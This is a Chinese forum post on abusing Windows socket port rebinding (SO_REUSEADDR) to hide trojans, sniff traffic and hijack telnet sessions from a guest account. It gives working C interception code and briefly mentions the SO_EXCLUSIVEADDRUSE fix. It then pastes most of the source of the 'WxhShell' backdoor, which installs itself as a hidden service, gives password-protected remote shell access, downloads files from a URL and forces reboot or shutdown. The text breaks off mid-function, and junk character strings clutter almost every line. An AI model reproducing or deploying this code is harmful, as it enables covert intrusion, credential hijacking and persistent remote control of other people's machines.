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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cn- nj]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QZ?=M@|f  
]l(wg]  
  saddr.sin_family = AF_INET; H-xFiF  
R3!@?mcr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \AC|?/sH  
Vm|Y$ C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d|*"IFe  
.<K iMh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N*@aDM07  
2EK%N'H  
  这意味着什么?意味着可以进行如下的攻击: _"%B7FK  
[*Z`Kc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hHPs&EA.p  
NcAp_q? 4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wCHR7X0*b  
//&j<vu s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 NKmoG\*  
-.|4Y#b:&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :SsUdIX;P  
\@;\t7~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i#%a-I:M  
tdF9NFMD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U5]pi+r  
/n4pXT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i0s6aAhgJ  
AC.A'|"]i  
  #include lI/0:|l  
  #include 4"vaMa  
  #include k5&bq2)I  
  #include    b`_w])Y@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T`9-VX;`  
  int main() "|m|E/Z-9  
  { z1!6%W_.  
  WORD wVersionRequested; %ObD2)s6:^  
  DWORD ret; !tHt,eJy  
  WSADATA wsaData; Q#Y k?Kv~  
  BOOL val; do-c1;M  
  SOCKADDR_IN saddr; F#{gfh  
  SOCKADDR_IN scaddr; e0;  
  int err; 'lS `s(  
  SOCKET s; `E\imL  
  SOCKET sc; Y?#i{ixX6n  
  int caddsize; 6TH!vuQ1(  
  HANDLE mt; L z\UZeq  
  DWORD tid;   ? &zQa xD  
  wVersionRequested = MAKEWORD( 2, 2 ); G]Jz"xH#  
  err = WSAStartup( wVersionRequested, &wsaData ); kHJ96G  
  if ( err != 0 ) { ap}5ElMR  
  printf("error!WSAStartup failed!\n"); |8)Xc=Hz  
  return -1; f '6|OsVQ  
  } o/,NGU  
  saddr.sin_family = AF_INET; * \HRw +cL  
   &&L"&Rc  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PzY)"]g  
n$2RCQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Bfd-:`Jk  
  saddr.sin_port = htons(23); %TrF0{NR90  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s{/qS3=  
  { iQ^: ])m>  
  printf("error!socket failed!\n"); =ex'22  
  return -1; 1'G8o=~  
  } Q;nAPS  
  val = TRUE; Icp0A\L@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ' 9J|=z9.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e@F|NCQ.9  
  { 5eX59:vtl  
  printf("error!setsockopt failed!\n"); 0>!/rR7  
  return -1; :G)<}j"sM  
  } P ,K\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tiLu75vj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KIL18$3J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HBLWOQab  
gY`Nr!O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |ZU#IQVQfn  
  { 0zqj0   
  ret=GetLastError(); )%du@a8  
  printf("error!bind failed!\n"); H]&!'\aUz  
  return -1; ]2+g&ox4'  
  } yZSvn[f  
  listen(s,2); z^s ST  
  while(1) JZ`L%  
  { T{*^_  
  caddsize = sizeof(scaddr); L)-*,$#<oW  
  //接受连接请求 '=} Y2?(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /BH.>R4`A  
  if(sc!=INVALID_SOCKET) 0 15Owi  
  {  SNvb1&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >zL |8f  
  if(mt==NULL) {e]NU<G ,  
  { |*Ot/TvG  
  printf("Thread Creat Failed!\n"); W._G0b4}  
  break; "@/ba!L+  
  } wsg//Ec]  
  } DY><qk  
  CloseHandle(mt); R'EW7}&  
  } k)E;(  
  closesocket(s); bNvAyKc-  
  WSACleanup(); <q7s`,rG  
  return 0; X Usy.l/  
  }   @;9()ad  
  DWORD WINAPI ClientThread(LPVOID lpParam) ZBj6KqfST%  
  { hU,$|_WDy  
  SOCKET ss = (SOCKET)lpParam; >.Q0 Tx!P  
  SOCKET sc; ",Wf uz  
  unsigned char buf[4096]; _hoAW8i  
  SOCKADDR_IN saddr; {v+a!#{c7  
  long num; T|f_~#?eV  
  DWORD val; (G5T%[/U  
  DWORD ret; /8p&Qf>lJ1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -fM1$/]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   aBCOGtf  
  saddr.sin_family = AF_INET; hCLk#_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5c~'!:7  
  saddr.sin_port = htons(23); fjkT5LNx k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |' @[N,  
  { 70<K .T<b  
  printf("error!socket failed!\n"); ,#%SK;1<  
  return -1; $f(agG]  
  } ^@ UjQ9[>  
  val = 100; !?r/ 4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A}eOR=E  
  { ^4hc+sh0D  
  ret = GetLastError(); ?W<cB`J  
  return -1; #! @m y  
  } +GPd   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~mcZUiP9  
  { I:/4t^%  
  ret = GetLastError(); iJ*%dio  
  return -1; 9R:(^8P8  
  } t!savp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ey = 4 b  
  { gDc]^K4>  
  printf("error!socket connect failed!\n"); ,A?v,Fs>O[  
  closesocket(sc); Jh(mbD  
  closesocket(ss); h~.V[o7=  
  return -1; L3>4t: 8  
  } )Jz!Ut  
  while(1) M[vCpa  
  { >!G5]?taa  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,QL(i\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p(7c33SyF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +ks$UvtY  
  num = recv(ss,buf,4096,0); =KW|#]RB^  
  if(num>0) |>[X<>m  
  send(sc,buf,num,0); 2?pM5n  
  else if(num==0) !z.^(Tj  
  break; ^1vq{/ X  
  num = recv(sc,buf,4096,0); `bi k/o=%  
  if(num>0) W -!dMa  
  send(ss,buf,num,0); ]N_140N~  
  else if(num==0)  z8tt+AU  
  break; t3M0La&  
  } } _VZ  
  closesocket(ss); MSF Nw  
  closesocket(sc); X[Y #+z4  
  return 0 ; 2O^32TdS  
  } G)K9la<p  
V?o&])?[  
5Wj5IS/  
==========================================================  6.vNe  
),z,LU Yf  
下边附上一个代码,,WXhSHELL ; S{ZC5  
],!p p3U  
========================================================== Ubpg92  
Z*;*I<-  
#include "stdafx.h" bwT"$Ee  
%{c2lyw  
#include <stdio.h> o^N%;d1%E  
#include <string.h> /}[zA@  
#include <windows.h> ta2z  
#include <winsock2.h> ~91uk3ST?  
#include <winsvc.h> `~sf}S :  
#include <urlmon.h> ;Ce 2d+K  
V}p*HB@:  
#pragma comment (lib, "Ws2_32.lib") RN sJ!or  
#pragma comment (lib, "urlmon.lib") 5 ,g$|,Shv  
 ; \Y-  
#define MAX_USER   100 // 最大客户端连接数 H74NU_   
#define BUF_SOCK   200 // sock buffer 6k@[O@)  
#define KEY_BUFF   255 // 输入 buffer ^D0/H N   
%_cg|yy  
#define REBOOT     0   // 重启 2I9{+>k  
#define SHUTDOWN   1   // 关机 `7+tPbjs  
^$3w&$K*  
#define DEF_PORT   5000 // 监听端口 {"Y]/6  
u_$6LEp-  
#define REG_LEN     16   // 注册表键长度 )yfOrsM  
#define SVC_LEN     80   // NT服务名长度 ^2P;CAjj-  
bi,rMgW  
// 从dll定义API }d$vcEI$3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a .B\=3xn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L|vaTidc0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6oe$)iV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fte!Ll'  
KHiYV  
// wxhshell配置信息 ;L MEU_  
struct WSCFG { 4{1c7g  
  int ws_port;         // 监听端口 E9 :|8#b  
  char ws_passstr[REG_LEN]; // 口令 (*c`<|)  
  int ws_autoins;       // 安装标记, 1=yes 0=no }6b7a1p  
  char ws_regname[REG_LEN]; // 注册表键名 u:p:*u_^I  
  char ws_svcname[REG_LEN]; // 服务名 _,Io(QS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D z]}@Z*jK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %t(, *;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (W{rv6cq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -b Ipmp?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?.|wfBI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gw*yIZ@3)  
A@lhm`Aa  
}; vs)HbQ  
Ynt&cdK9  
// default Wxhshell configuration \^^hG5f  
struct WSCFG wscfg={DEF_PORT, Qg86XU%l  
    "xuhuanlingzhe", 8M5!5Jzv  
    1, "J0Oa?  
    "Wxhshell", +"fM &F]  
    "Wxhshell", 6='_+{   
            "WxhShell Service", *]DJAF]  
    "Wrsky Windows CmdShell Service", zrWq!F*-V\  
    "Please Input Your Password: ", HtS1N}@  
  1, "m\UqQGX  
  "http://www.wrsky.com/wxhshell.exe", cnjj) c  
  "Wxhshell.exe" B "s8i{Vm  
    }; }rb ]d'|  
U_=wL  
// 消息定义模块 Iu)(Huv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5i wikC=y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9-e[S3ziM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <o"D/<XnB3  
char *msg_ws_ext="\n\rExit."; xaq=?3QOH  
char *msg_ws_end="\n\rQuit."; .\hib. n3  
char *msg_ws_boot="\n\rReboot..."; LQ&d|giA  
char *msg_ws_poff="\n\rShutdown..."; VNh,pQ(  
char *msg_ws_down="\n\rSave to "; V.G9J!?<P  
D;T r  
char *msg_ws_err="\n\rErr!"; XiZ Zo  
char *msg_ws_ok="\n\rOK!"; yvH #1F`{q  
R'a5,zEo/  
char ExeFile[MAX_PATH]; 1x<rh\oo  
int nUser = 0; IbNTdg]/F`  
HANDLE handles[MAX_USER]; 8b#Yd  
int OsIsNt; \t~u : D  
w[$Wpae  
SERVICE_STATUS       serviceStatus; U*Q5ff7M6"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wx?{|  
9gIJX?  
// 函数声明 Y=wP3q  
int Install(void); _bV=G#qKK  
int Uninstall(void); -QNMB4  
int DownloadFile(char *sURL, SOCKET wsh); 3YNkT"~T  
int Boot(int flag); KzH}5:qI  
void HideProc(void); PXQ9P<m  
int GetOsVer(void); NByN}e  
int Wxhshell(SOCKET wsl); o3[sF  
void TalkWithClient(void *cs); laRKt"A  
int CmdShell(SOCKET sock); Wg;TXs/  
int StartFromService(void); `8 b6 /  
int StartWxhshell(LPSTR lpCmdLine); b42pLbpe'E  
TH}ycue  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^OcfM_4pN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QbKYB  
igbb=@QBJ  
// 数据结构和表定义 rM?Dp2  
SERVICE_TABLE_ENTRY DispatchTable[] = ~v,KI["o  
{ })u}PQ  
{wscfg.ws_svcname, NTServiceMain}, %a6]gsiv2<  
{NULL, NULL} 0FR%<u  
}; QNI|h;D  
gB{R6 \<O  
// 自我安装 (7#lN  
int Install(void) 7G=P|T\  
{ 8gKR<X.G  
  char svExeFile[MAX_PATH]; f*&JfP  
  HKEY key;  !'t2  
  strcpy(svExeFile,ExeFile); $5AtI$TV_!  
i&G`ah>  
// 如果是win9x系统,修改注册表设为自启动 <`p'6n79  
if(!OsIsNt) { ,* vnt6C*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8ch~UBq/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3#ZKuGg=  
  RegCloseKey(key); O]LuL&=s y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !P^$g R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 78BuD[<X-  
  RegCloseKey(key); i|noYo_Ah\  
  return 0; iiDkk  
    } `A{~}6jw  
  } TS8E9#1a  
} p00Bgo  
else { 67:<X(u+!  
s(9rBDoY(8  
// 如果是NT以上系统,安装为系统服务 P87Fg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;xH'%W9z  
if (schSCManager!=0) hLD;U J?S  
{ f?^xh  
  SC_HANDLE schService = CreateService [bVP2j  
  ( )g<qEyJR  
  schSCManager, Kqu7DZ+W  
  wscfg.ws_svcname, 3n)iTSU3  
  wscfg.ws_svcdisp, |MrH@v7S  
  SERVICE_ALL_ACCESS, IL"#TKKv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hQx e0Pdt  
  SERVICE_AUTO_START, %4^/.) Q  
  SERVICE_ERROR_NORMAL, x=+I8Q4:  
  svExeFile, "?.Wb L  
  NULL, OHvzK8  
  NULL, 5DUPsV  
  NULL, u"|nu!p`  
  NULL, Q>*K/%KD  
  NULL P[oB'  
  ); J(VZa_  
  if (schService!=0) O5%F-}(:  
  { 2 g==98>cg  
  CloseServiceHandle(schService); ^Wz{su2  
  CloseServiceHandle(schSCManager); 1vd+p!n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Di=6.gm[<  
  strcat(svExeFile,wscfg.ws_svcname); =#fvdj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5X-{|r3q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e%>E| 9*u  
  RegCloseKey(key); #!@ ]%4  
  return 0; 4Lb<#e13R?  
    } o>%W7@Pr  
  }  \hc9Rk  
  CloseServiceHandle(schSCManager); qT%E[qDS  
} `Yve  
} g8y Zc}4  
Y" |U$  
return 1; ]F#kM211  
} ~epkRO="  
T^SOq:m&  
// 自我卸载 QKQy)g  
int Uninstall(void) G;+ 0V0K  
{ `8Ix&d3F  
  HKEY key; @#">~P|Hp  
-fn~y1  
if(!OsIsNt) { M-t9zT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qQryv_QP  
  RegDeleteValue(key,wscfg.ws_regname); Yuck]?#0  
  RegCloseKey(key); c6.|; 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `R;XN-  
  RegDeleteValue(key,wscfg.ws_regname); Hu.d^@V  
  RegCloseKey(key); 7c7SU^hD  
  return 0; 4Qs#ws])  
  } kY&j~R[C  
} 0' t)fnI#  
} E2cmT$6  
else { Jr zU-g  
*}=W wG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Fx2&ji6u  
if (schSCManager!=0) V#Eq74ic  
{ 6zSN?0c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); elQ44)TrQ  
  if (schService!=0) >d |W>|8e  
  { n"vI>_|G  
  if(DeleteService(schService)!=0) { s RB8 jY  
  CloseServiceHandle(schService); N0NMRU]zT  
  CloseServiceHandle(schSCManager); n&lLC&dL  
  return 0; /);6 j,x  
  } ) Lv{  
  CloseServiceHandle(schService); z841g `:C  
  } bK7DGw`1  
  CloseServiceHandle(schSCManager); H>?@nYP  
} +{&g|V  
} &0myA_So  
'=xl}v  
return 1; <KCgtO  
} pVM;xxJ  
;#*mB`  
// 从指定url下载文件 /on p<u  
int DownloadFile(char *sURL, SOCKET wsh) 0td;Ag  
{ Z2r\aZ-d`  
  HRESULT hr; hsh W5j  
char seps[]= "/"; Mmn[ol  
char *token; n!2|;|$}Z  
char *file; e3.TGv7=  
char myURL[MAX_PATH]; &yuerNK  
char myFILE[MAX_PATH]; #frhO;6  
lsd\ `X5,  
strcpy(myURL,sURL); f>o@Y]/l  
  token=strtok(myURL,seps); i*3_ivc)  
  while(token!=NULL) Z|.z~53;  
  { *)Y;`Yg$  
    file=token; 3!I8J:GZ:  
  token=strtok(NULL,seps); K)n(U9#  
  } )+J?(&6  
Wr;)3K  
GetCurrentDirectory(MAX_PATH,myFILE); ZD*>i=S  
strcat(myFILE, "\\"); Zn/1uWO  
strcat(myFILE, file); !zeBxR$&o  
  send(wsh,myFILE,strlen(myFILE),0); ;:cM^LJ  
send(wsh,"...",3,0); x&sF_<[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *i|hcDk  
  if(hr==S_OK) /dO&r'!:  
return 0;  W* YfyM  
else ][.1b@)qV  
return 1; ^T" A9uaG  
E3'6lv'  
} {Su]P {oJ  
fK[9<"PC0  
// 系统电源模块 HwOw.K<  
int Boot(int flag) *op7:o_  
{ .! &YO/  
  HANDLE hToken; GYj`-t  
  TOKEN_PRIVILEGES tkp; 8<P.>u  
dK=BH=S2?X  
  if(OsIsNt) { Z|)~2[Roa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;@sxE}`?g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =w8*n2  
    tkp.PrivilegeCount = 1; E;N+B34  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t ;[Me0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PRs[:we~~  
if(flag==REBOOT) { Ih{~?(V$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -Z:al\e<g  
  return 0; 0KEytm]  
} 1Eg,iTn2*x  
else { #GTmC|[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UHXlBH@  
  return 0; H94$Xi"Bd  
} JjM^\LwKkL  
  } 9t=erhUr  
  else { -WEiY  
if(flag==REBOOT) { H~ (I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }D0j%~&"e  
  return 0; S6cSeRmw  
} &98qAO]Z  
else { &%^[2^H8"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y:1?~R  
  return 0; ) m?oQ#`m  
} v%_sCg  
} ZgN*m\l  
MEg|AhP  
return 1; E]Kd`&^}  
} 2PRGwK/  
Xa-]+_?Q  
// win9x进程隐藏模块 dNIY `u  
void HideProc(void) k/Cr ^J"  
{ m"u 9AOHk  
<&:3|2p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #LF_*a0v  
  if ( hKernel != NULL ) N:=D@x~]  
  { Il!iqDHz3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w:pc5N>we0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8amtTM  
    FreeLibrary(hKernel); RL($h4d9  
  } 0\u_ \%[  
i;yz%Ug  
return; A*W QdY  
} K{HdqmxL.I  
E|#'u^`yv  
// 获取操作系统版本 [4 "%NY  
int GetOsVer(void) 8iq~ha$]|  
{ ?jy^WF`  
  OSVERSIONINFO winfo; =n%?oLg^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3"%:S_[  
  GetVersionEx(&winfo); P%.9g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _)lK.5  
  return 1; +BmA4/P$  
  else tBdvk>d  
  return 0; Ii SO {  
} M=@U]1n*c  
.] 5&\  
// 客户端句柄模块 ,X+071.(  
int Wxhshell(SOCKET wsl) %xL3=4\  
{ lkBab$S)  
  SOCKET wsh; 61CNEzQ  
  struct sockaddr_in client; DtyT8kr  
  DWORD myID; _k _F  
jUdW o}/  
  while(nUser<MAX_USER) wHdq:,0-!  
{ !dGy"-i$h  
  int nSize=sizeof(client); iQS?LksQX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m&b!\"0  
  if(wsh==INVALID_SOCKET) return 1; !j [U  
=v1s@5 ;~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vP? "MG  
if(handles[nUser]==0) t4 h5R  
  closesocket(wsh); cYW F)WAog  
else 5h1FvJg  
  nUser++; DS-Kot(k(z  
  } Eo)n( Z9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [G4#DP\t>p  
sLb[ZQ;j  
  return 0; ZJ  u\  
} n(-XI&Kn  
v&p\ r'w  
// 关闭 socket ;w[|IRa  
void CloseIt(SOCKET wsh) N!^U{;X7/  
{ 8M8=uw~#  
closesocket(wsh); bQEQHqY5  
nUser--; MhHygZT[}  
ExitThread(0); <eb>/ D  
} b[VP"KZ?  
99H&#!~bSS  
// 客户端请求句柄 B4_0+K H  
void TalkWithClient(void *cs) ?ZE1>L7e  
{ tJ[Hcx*N  
"P'W@  
  SOCKET wsh=(SOCKET)cs; M%sWtgw(  
  char pwd[SVC_LEN]; [u=b[(  
  char cmd[KEY_BUFF]; A1>R8Zuhy  
char chr[1]; 315Rk!{AJ  
int i,j; / IAK'/  
OT\[qaK  
  while (nUser < MAX_USER) { s 3Y \,9\  
, B h[jb`y  
if(wscfg.ws_passstr) { &3'II:x(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2U)H2 %  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HmAA?J}  
  //ZeroMemory(pwd,KEY_BUFF); p8Ts5n  
      i=0; ,d@.@a] `  
  while(i<SVC_LEN) { ZSU;>&>%v  
DpoRR`  
  // 设置超时 +mYD DlvI  
  fd_set FdRead; TBvv(_  
  struct timeval TimeOut; &=xm>;`3  
  FD_ZERO(&FdRead); n\ZDI+X  
  FD_SET(wsh,&FdRead); ~;3N'o  
  TimeOut.tv_sec=8; 5<Xq7|Jt  
  TimeOut.tv_usec=0; TCv}N0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IH'DCY:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J}nE,U2  
b-;+&Rb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nkSYW]aQ1g  
  pwd=chr[0]; P<km?\Xp(  
  if(chr[0]==0xd || chr[0]==0xa) { q;InFV3rv  
  pwd=0; xmT(yv,  
  break; 3QL'uk  
  } \:'=ccf  
  i++; AFF7fK  
    } 9=&LMjTQ  
Tmg~ZI:MW  
  // 如果是非法用户,关闭 socket C3:4V2<_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `/Zi=.rr  
} F]q pDv  
8~u#?xs6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XA-DJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O)kC[e4  
CY <,p$  
while(1) { d@8=%x:  
!gWV4vC  
  ZeroMemory(cmd,KEY_BUFF); ?ye) &  
? !MDg_oHd  
      // 自动支持客户端 telnet标准   e@Q<hb0<eU  
  j=0; 6NVf&;laQ  
  while(j<KEY_BUFF) { AL>*Vj2h/n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^^qB=N[';  
  cmd[j]=chr[0]; $21+6  
  if(chr[0]==0xa || chr[0]==0xd) { 9_n!.zA<  
  cmd[j]=0; +FP*RNM  
  break; cP''  
  } h1^q};3!W\  
  j++; Ysz{~E'  
    } }:5AB93(  
lUJ/ nG0l  
  // 下载文件 =cs;avtL  
  if(strstr(cmd,"http://")) { n\Uh5P1W"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !?`5r)K  
  if(DownloadFile(cmd,wsh)) " 6Hka{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <(TTYf8lS  
  else 6] <~0{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); : |#Iw  
  } rZ/,^[T  
  else { o$FqMRep  
6.kX~$K  
    switch(cmd[0]) { X3NHQMI   
  J@54B  
  // 帮助 I83ZN]  
  case '?': { 1a;Le8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w4H3($ K  
    break; 2-Y%W(bEzs  
  } , |CT|2D>  
  // 安装 3@kiUbq7Eu  
  case 'i': { {}H5%W  
    if(Install()) I8;pMr6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zM%ILv4  
    else ?vuM'UH-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vE0Ty9OH"]  
    break; 9JV(}v5[  
    } X3vTyIsn  
  // 卸载 2s_shY<=}L  
  case 'r': { ??5qR8n.  
    if(Uninstall()) POwJhT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B<i )je!  
    else T>2)YOx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R ,-y  
    break; `d2}>  
    } Z;M]^?  
  // 显示 wxhshell 所在路径 *Nloa/a&9  
  case 'p': { ?}\aG3_4  
    char svExeFile[MAX_PATH]; ; {$9Sc $  
    strcpy(svExeFile,"\n\r"); -H5n>j0!{  
      strcat(svExeFile,ExeFile); +QT(~<  
        send(wsh,svExeFile,strlen(svExeFile),0); w-*$gk]   
    break; r e.chQ6  
    } Wly-z$\  
  // 重启 uUu]JDdz  
  case 'b': { %p6"Sg*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y Dg  
    if(Boot(REBOOT)) A rC4pT   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - ?_aYJ  
    else { AD^9?Z  
    closesocket(wsh); Ve#VGlI  
    ExitThread(0); NXb_hF  
    } 6Ko[[?Lf[  
    break; (NK$2A/p  
    } ]CsF} wr'z  
  // 关机 ]BGWJA5  
  case 'd': { Cy-q9uTm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~9c?g(0  
